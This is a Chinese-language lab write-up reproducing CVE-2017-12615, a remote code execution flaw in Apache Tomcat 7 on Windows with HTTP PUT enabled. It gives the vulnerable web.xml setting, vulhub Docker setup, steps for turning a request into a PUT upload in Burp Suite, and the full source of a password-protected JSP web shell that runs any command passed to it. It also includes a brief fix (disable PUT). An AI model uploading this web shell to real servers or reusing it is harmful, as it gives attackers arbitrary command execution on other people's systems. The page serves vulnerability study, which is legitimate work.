漏洞復現——tomcat遠程代碼執行漏洞


漏洞描述:

當存在該漏洞的Tomcat 運行在 Windows 主機上,且啟用了 HTTP PUT請求方法,攻擊者可通過構造的攻擊請求向服務器上傳包含任意代碼的 JSP 文件,造成任意代碼執行

影響范圍:

Apache Tomcat 7.0.0 - 7.0.79

漏洞分析:

該漏洞的觸發條件有兩個,第一tomcat需要運行在Windows主機上,第二要啟用PUT請求方法,復現該漏洞時,只需在conf/web.xml中添加

<init-param> 

 <param-name>readonly</param-name> 

  <param-value>false</param-value> 

</init-param>
當resdonly的值為true時,是不開啟PUT的方法的,當它為false時,則是開啟PUT方法


修復方案:
禁用PUT方法即可

實驗步驟:
1.docker上開啟tomcat服務:

cd vulhub/

cd tomcat/

cd CVE-2017-12615/

docker-compose build

docker-compose up -d

 



2.Windows上打開tomcat網頁,開始上傳jsp文件

bp抓包修改包,go:將get方法修改為PUT,加上jsp文件的文件名(紅色框),並且將要上傳的jsp文件直接粘貼到下面(黃色框)

jsp代碼:

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp

+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

 

3.查看是否上傳成功,並執行代碼

成功上傳,查看whoami,jsp木馬的密碼是023

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM